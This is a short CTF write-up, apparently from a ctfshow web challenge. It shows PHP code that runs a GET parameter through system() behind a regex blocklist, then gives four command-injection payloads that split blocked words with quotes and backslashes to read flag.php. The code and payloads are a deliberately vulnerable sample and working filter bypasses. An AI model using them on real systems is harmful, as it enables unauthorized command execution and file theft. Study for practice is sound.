<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```,%,\x09,\x26，tac把我万能的tac给过滤了这可让我怎么活
?c=t''ac<fl''ag.p''hp||
?c=nl<fl''ag.p''hp||(flag在页面源码里面)
?c=t\ac<fl''ag.p''hp||
?c=mo''re<fl''ag.p''hp||(flag在页面源码里面)
